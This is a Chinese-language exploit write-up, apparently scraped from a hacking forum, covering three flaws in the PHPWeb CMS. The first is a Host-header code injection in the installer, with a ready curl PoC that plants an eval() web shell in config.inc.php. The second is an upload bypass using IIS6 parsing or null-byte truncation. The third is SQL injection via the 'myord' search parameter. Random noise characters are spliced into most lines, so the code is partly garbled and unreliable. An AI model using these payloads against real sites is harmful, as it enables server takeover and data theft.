注入:' ?" H* z( \0 w8 J+ U
A2 ?8 b3 r6 z
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码- p- z9 y( q) f1 t8 x
0 `8 I- O9 @3 X1 X鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件4 j; P' x5 C4 L- r, |. v
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
4 [1 l# b7 D8 f T* L9 F0 Y2 h* B* c- m
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响$ x1 n2 L ~; F- [3 T
4 v4 V, d" j& j. N( _$ r9 M! H分析:' ?/ g& u+ G' B; _
& O* q% d. A% u( Z' G' H
- T% Q1 F: Z' N! w1 B5 N4 k) y) L
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤" p7 h1 Y8 L; h+ Z, K# A* }
% k5 e. i# h. o y3 H- q $filestr = fread(fopen($SysConfigFile, 'r'),30000);
* M3 D) M1 P+ ?* C# \! q6 f3 t $filestr=str_replace(" ","",$filestr);8 z( H6 }$ h. r3 B- j
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
4 }0 {: B {1 {" n" j, T0 H $filestr=str_replace("DefaultDbName",$dbname,$filestr);8 k7 f& Q8 i2 V a5 \: |
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);8 E# x* A; x- \2 R% a6 s& V2 ~2 Y
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);% b7 }3 O0 e7 u+ @0 m
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
+ k1 q: C/ C8 _$ W, o. ^0 H $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);6 Q7 O( S4 z" s- h2 [( C2 ~, @
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
( M0 y" e' L1 L Y& U- \ + \3 a7 L7 e! i3 F3 L
fwrite(fopen($ConFile,"w"),$filestr,30000);
& E$ D% G: @: |- _$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
( b( U9 ^ T, L5 m& D' b , T1 l. u) r3 A
poc:
, ?$ ]! D1 e/ ]) s: ~4 }; Y
5 @% r& Z2 I- O& D" r) `6 C' I?: [' k. Z- C. Z) n& J U5 V
1
$ z+ O% B o* H5 U" l; ycurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"6 J) Z8 b b! c" Q
shell地址: /config.inc.php
2 K4 ]- d& A- e ]跟之前的 phpcms一样 需要远程数据库: a7 Q5 T% o3 k7 w$ w8 p) f
; C& S" ?; k% ?& _
——————————————————–
. N9 K4 |* U! ?$ G& i上传漏洞(需要进后台):. A2 ]! z) `) ?: L% N
漏洞文件: /kedit/upload_cgi/upload.php8 J9 b1 g$ f- i
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用8 a- E2 K& f7 G
& e [5 W4 V1 N$ X 8 ^7 T6 }" v* }% }
<?php+ M6 z! z! Q- @
define("ROOTPATH", "../../");6 i7 i m6 A+ `2 n; G
include(ROOTPATH."includes/admin.inc.php");" u/ _# X) x& K- }3 C1 w8 ~
NeedAuth(0);- n Y2 d! b7 B
# y- [$ W; [7 K# [" c% } $dt=date("Ymd",time());
2 @0 p/ t! h# r& m+ H( O& H/ v9 B if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){* A) x8 V) b \! a8 {+ s
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777); e$ G# D6 {0 N$ d+ B4 S
}
6 r: a X7 O P) a$ C6 [, h" t 5 _; T$ f9 H" n7 b$ @
//文件保存目录路径7 R$ n' V+ c) l P( d1 Q
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';7 w( |3 u: P! Q9 r4 \ Y" T, f/ r
echo $save_path;
# \5 a, c+ \1 m$ z5 X5 ^) u //文件保存目录URL
5 L6 ^, z3 [$ j4 t; n0 @6 i7 ` $save_url = '../../'.$_POST['attachPath'].$dt.'/';& u5 P/ j( n( s7 K6 W. x/ Q6 w
6 b$ [. I; w1 _
//定义允许上传的文件扩展名8 b' M+ e+ ? Z5 g* \
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
8 F8 q* l. z8 Y1 H% E" h$ X , E h9 C+ A9 X% w; u
//最大文件大小4 U' z9 W) ]) y! X
$max_size = 1000000;/ P* `4 R* U! ?- G1 _* d
( x; E) r2 B; S% { //更改目录权限
) b) ~" Q6 u5 l9 J1 D7 X `% E @mkdir($save_path, 0777);( ~' L/ v9 e/ U
: Y0 A3 |/ H/ F( X) ]% I/ ` //文件的全部路径
! p. U4 x# Q6 f" H' [ $file_path = $save_path.$_POST['fileName']; //保存文件名
0 S: G9 N" b3 K' {$ y
% E# u2 r/ C$ S2 a# [ //文件URL
# e1 v( L9 Z0 }1 v# U $file_url = $save_url.$_POST['fileName'];, I+ A( n& f0 P8 |. s7 q, q
//有上传文件时$ R$ M7 x0 }" }2 A. f+ d# v
if (empty($_FILES) === false) {( @( r' m1 M) o' N* H
3 \% o9 P1 y9 Q& {1 O5 Q& s& S //原文件名
+ h) q* E1 k9 p, K $file_name = $_FILES['fileData']['name'];
' D4 E/ e( f2 m' g2 I! R //服务器上临时文件名
5 D2 _9 O6 d+ P e $tmp_name = $_FILES['fileData']['tmp_name']; s* e; w0 h! r% y1 \
//文件大小" z/ m3 U+ j, H. G2 `' G. y' T
$file_size = $_FILES['fileData']['size'];
2 J% u* V1 v: e5 d* K5 {" L //检查目录2 m) ^0 q: ]! ?. ?6 U
if (@is_dir($save_path) === false) {
/ _! U$ H. ^( s# ~* e: q+ L; e alert("上传目录不存在。");
* W% J4 n; Z A9 P' M5 M* C" o, C }
, B5 Z% d n) `$ e# M5 a //检查目录写权限
9 P5 c9 D9 x; ?' B& V if (@is_writable($save_path) === false) {1 ]/ U5 [+ u6 I. C
alert("上传目录没有写权限。");# v2 h5 ^) E1 }
}
2 ~0 D" \- [; ^( P5 B. h //检查是否已上传1 K; {; f% }; D4 N# ~
if (@is_uploaded_file($tmp_name) === false) {9 [ S- z: v, V2 S& [( S
alert("临时文件可能不是上传文件。");
+ _: {. M: \9 L }
' N7 b1 G0 c# \ O: @0 l/ ~ //检查文件大小 M% b1 [* {8 I1 z; J4 p
if ($file_size > $max_size) {
7 B: _: o- l) @5 O1 W alert("上传文件大小超过限制。");
" J# Y& J& p! q- i0 k+ _$ @ }. W0 C( q* q* S) D# k/ H
//获得文件扩展名
# x0 l6 a( [ U; Y# @) p% o5 ?1 y) B $temp_arr = explode(".", $_POST['fileName']);
1 }% f: S5 F/ V7 Q' B $file_ext = array_pop($temp_arr);
A" J _/ D( I) L( U6 T $file_ext = trim($file_ext);: D( p3 L' ~* L6 ^! Z/ b2 W o( w+ g
$file_ext = strtolower($file_ext);; ^+ O2 g* U9 t2 A% {% e! S
! w4 ?5 M/ e! P$ A+ x+ ]% f
//检查扩展名
( Z5 R$ b1 A& X0 U% f. z3 g# b if (in_array($file_ext, $ext_arr) === false) {
/ I% I& }$ j/ G' ~' u# ~( K alert("上传文件扩展名是不允许的扩展名。");
7 g0 J7 M) R7 a) E6 N; z } k1 ^. x! }5 o, K/ R, z
' Y: ]4 M- e/ g# m
//移动文件
: K f& M# \6 W' ]8 h //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
, S5 p% W8 }0 l" W if (move_uploaded_file($tmp_name, $file_path) === false) {
, |, `4 {' ^3 `3 W& s0 f alert("上传文件失败。");7 y+ @/ u" s r, Z# W
}
, T$ \$ f4 p) J& \
" ^9 X, t1 n, o' O5 X @chmod($file_path,0666);; Y8 F/ Z" ]+ B9 L& P; E
1 ], b3 k; N$ ? q3 \8 r! Z ?> Z7 I4 V. b ~* o
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
1 A }5 q, M( @ 5 J! p- s, O# ] n* g9 O
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过: M) E5 l6 ~7 l9 y
& g/ F" n' G6 u) E
——————————————————
/ T( o8 ^% {" ]( r. B3 m注入漏洞:
! a7 u. D3 k$ I漏洞文件:search/module/search.php
) X5 o1 |) |) d7 d$ R' \: {: v/search/index.php?key=1&myord=1 [sqlinjection]
* b2 z( {' o1 a5 e. m
* u5 h4 g) M) P/ P2 j + ?$ i/ Q4 X) g9 T8 ]; q0 q9 A6 [
<?php' x7 I: s, W2 `- q0 p
// ... 省略 n 行...4 D! l2 c# ~4 ]; _1 W% R( Q
//第18行:
/ ?3 z. L) h- P0 J+ n. e0 ^ $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
# Y A& K$ B) j1 f $page=htmlspecialchars($_GET["page"]);/ t2 @8 N" E8 \3 `! S+ J
$myord=htmlspecialchars($_GET["myord"]);
/ u& h) O/ {8 }8 {" h
8 ?: h6 t* h0 ?! X3 y3 j7 i6 R // ... 省略 n 行...
- k; j! m0 g7 \# b0 C. K& ^0 Y6 @ $key,$myord 两个参数带入查询
* ^. [; g! I7 r9 A //第47行 $key:0 I: F" M5 R" d) a6 C/ C+ x& w
6 X, P$ K e$ I1 i
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..- e! x4 ?% S7 O9 T2 I
+ H- p; o O6 M6 j+ |
//第197行 $myord
( Z# F- d% d* I- q0 Z $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入- R6 d) P3 L- m- n9 b" T1 r9 Y$ i
0 {0 k( ]+ m; m3 ?- g+ r' z ?>* H" F7 f0 Y& G# j* B, K
|